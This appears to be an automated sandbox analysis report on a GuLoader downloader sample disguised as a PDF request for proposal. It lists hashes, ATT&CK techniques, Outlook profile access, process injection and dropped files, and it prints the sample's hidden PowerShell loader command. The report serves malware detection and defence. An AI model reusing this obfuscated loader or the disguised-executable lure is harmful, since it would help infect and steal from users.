guloader | 3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8

Analysis

max time kernel
147s
max time network
147s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
01/07/2024, 12:50

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General

Target
SeAH RFP_24-0676·pdf.exe
Size 475KB
Sample240701-p2z3casele
SHA256 3fc5e4d002e04269f2f674e6a2e98935df133ffe0f1fd54c817662d864c2f1b8
MD5 8951c491b26675b308464af7a29567bd
SHA1 883bd6d014e3baf9141b304519fc34eef20eb41f
SHA512 48f909538c8d04839c4a3a0327774e92070a79872231f360a1ce9a4a60ea0f8a7c0bc273787bf0ee07608fabaa56fdf66ca468a1501ecc09e45ed2943ea91134
SSDEEP 12288:/qgowhL+Pylw1QeQMQukEsvs5uT8JGjD8WpyLk8n:xR+a3M0ee8JG38lr
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection downloader execution

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2616	powershell.exe

Loads dropped DLL 3 IoCs

pid	Process
1520	SeAH RFP_24-0676·pdf.exe
1520	SeAH RFP_24-0676·pdf.exe
1520	SeAH RFP_24-0676·pdf.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	drive.google.com
5	drive.google.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\energetiskes\Physicianer223.lnk	SeAH RFP_24-0676·pdf.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2488	wab.exe
2488	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2616	powershell.exe
2488	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2616 set thread context of 2488	2616	powershell.exe	31

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\eduard.lyz	SeAH RFP_24-0676·pdf.exe
File opened for modification	C:\Program Files (x86)\Common Files\yeastless.Rus	SeAH RFP_24-0676·pdf.exe
File opened for modification	C:\Program Files (x86)\Common Files\Marrowless\Mutated.ini	SeAH RFP_24-0676·pdf.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\schematizers.roa	SeAH RFP_24-0676·pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2616	powershell.exe
2616	powershell.exe
2616	powershell.exe
2616	powershell.exe
2616	powershell.exe
2616	powershell.exe
2616	powershell.exe
2616	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2616	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2616	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1520 wrote to memory of 2616	1520	SeAH RFP_24-0676·pdf.exe	28
PID 1520 wrote to memory of 2616	1520	SeAH RFP_24-0676·pdf.exe	28
PID 1520 wrote to memory of 2616	1520	SeAH RFP_24-0676·pdf.exe	28
PID 1520 wrote to memory of 2616	1520	SeAH RFP_24-0676·pdf.exe	28
PID 2616 wrote to memory of 2488	2616	powershell.exe	31
PID 2616 wrote to memory of 2488	2616	powershell.exe	31
PID 2616 wrote to memory of 2488	2616	powershell.exe	31
PID 2616 wrote to memory of 2488	2616	powershell.exe	31
PID 2616 wrote to memory of 2488	2616	powershell.exe	31
PID 2616 wrote to memory of 2488	2616	powershell.exe	31

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wab.exe

C:\Users\Admin\AppData\Local\Temp\SeAH RFP_24-0676·pdf.exe
"C:\Users\Admin\AppData\Local\Temp\SeAH RFP_24-0676·pdf.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1520
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Nervish=Get-Content 'C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Airbill\Matriherital.Dem230';$Riptide=$Nervish.SubString(71344,3);.$Riptide($Nervish)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - outlook_office_path
    - outlook_win_path
    PID:2488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

Matriherital.Dem230

Path C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Airbill\Matriherital.Dem230
Size 69KB
SHA256 3a31ac511e35678ba9ec6e4a561c4a33af4bd639f5f8f8cc07a20b6957d73922
MD5 d0e6726fc557c049a1dfd82c836f7616
SHA1 b66f1491354cdcf555412e4b18387c993c0c005d
SHA512 444858aa6db36f3b551239285a0c9463339874b459a54c376fdbc23a353948764a4c6b18d2e89dcdbf0ca8e8a5a8696c6b78f27ae3109156a679b92f9d3c53b9
SSDEEP 1536:2j2PzPlJGxhZK4MyHPVJivkjEE1AQZEp1OQ:2j2zDYPXr9moQ
MD5 SHA1 SHA512 SSDEEP

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trichocephaliasis.Saf

Path C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Airbill\trichocephaliasis.Saf
Size 325KB
SHA256 2784f2fe1ae608c1dcbef0dd4dd9d712507dd947015ed0113776ea8e63ace910
MD5 d55eac0172b4c851f20c0be7e83a51cb
SHA1 d62eb151865d4eac3dbdd078fc62e96fb8cce4d9
SHA512 fef7d84f1ae4dc95762b97065363fc0034d06ad6a01aea1842e4483d5cc22e8bde845677846f68d93fcad037f2fae2ea2701b594d2ebbc63f03036cc529d354f
SSDEEP 6144:qpvZvzDZKy5K4Y4tVbme15qJL8yO2DIuSAuF7uqBCY2muZ7Q62QLu341ggOhqER:y3Zb5Nme63O2tu1uyfvQLu34eEER
MD5 SHA1 SHA512 SSDEEP

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Banner.dll

Path \Users\Admin\AppData\Local\Temp\nsi2405.tmp\Banner.dll
Size 4KB
SHA256 b935d14c32ad8e16055f7f5794ac3411e601c5ac93155afc623f25b08e2ab82e
MD5 843657eaf7240b695624dcf38bb0eb31
SHA1 ca99a44e737fdeaab56f864ce1ef15a57d2eec90
SHA512 7773d9f6bbd17253d1c96ce225b2f9d3673969b38177afef236d1c5d4aabaae2c07793e07c34f0281ec3b859ae955e83bfe43a598ce7cc6c893ec8c9604f5de3
MD5 SHA1 SHA512

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BgImage.dll

Path \Users\Admin\AppData\Local\Temp\nsi2405.tmp\BgImage.dll
Size 7KB
SHA256 6cc4aadae46ee3e7f39b411ba087ec29bc10aa62b6b5b44003c934b3c51cefe2
MD5 a98576f0d6b35b466cb881860977fdbc
SHA1 28b3dbbd76f15c876b98dce523100aa3256d193a
SHA512 29225bfb30e72d7d3d3571e7562b5901dbf2382af1972cc9a2be8e3bef697b9ac9e0aaac3a9bca191da827ad3cfce7f6876e8be9444663e83a7e2e86788a733c
SSDEEP 96:8e70AKTIfv7QCUsthvNL85s4lk38Eb3CDfvEh8uLzqk7nLiEQjJ3KxkP:tBBfjbUA/85q3wEh8uLmqLpmP
MD5 SHA1 SHA512 SSDEEP

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nsDialogs.dll

Path \Users\Admin\AppData\Local\Temp\nsi2405.tmp\nsDialogs.dll
Size 9KB
SHA256 72b38e4cca0af336655d55501c4ea05080baaa9921a62a2d717afe90bb801004
MD5 2c84faebfda2abe3b16fdf374df4272f
SHA1 a5b0258a94e0440aefe1ef320e62e7a9a1c8bb40
SHA512 207164cc6914c59d9f4f3b8ae97628c544093ba6ecda9f8da351f453cd97e03be7a640264b8686b2d5e6f3c787f4df1d8a1ebc8e51fd788a97460cd981cc015e
SSDEEP 96:3ip41CMj95rKhkfL5RkEdKkcxM2DjDf3GE/E9v5E9av+Yx4QndY7ndS27gA:3iujesS4HRE/K5MYxBdqn420
MD5 SHA1 SHA512 SSDEEP

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memory/2488-60-0x0000000000590000-0x0000000004B52000-memory.dmp

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memory/2488-38-0x0000000000400000-0x0000000000581000-memory.dmp

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memory/2616-28-0x0000000073641000-0x0000000073642000-memory.dmp

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memory/2616-32-0x0000000073640000-0x0000000073BEB000-memory.dmp

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memory/2616-31-0x0000000073640000-0x0000000073BEB000-memory.dmp

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memory/2616-36-0x0000000006630000-0x000000000ABF2000-memory.dmp

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memory/2616-37-0x0000000073640000-0x0000000073BEB000-memory.dmp

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memory/2616-29-0x0000000073640000-0x0000000073BEB000-memory.dmp

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memory/2616-30-0x0000000073640000-0x0000000073BEB000-memory.dmp

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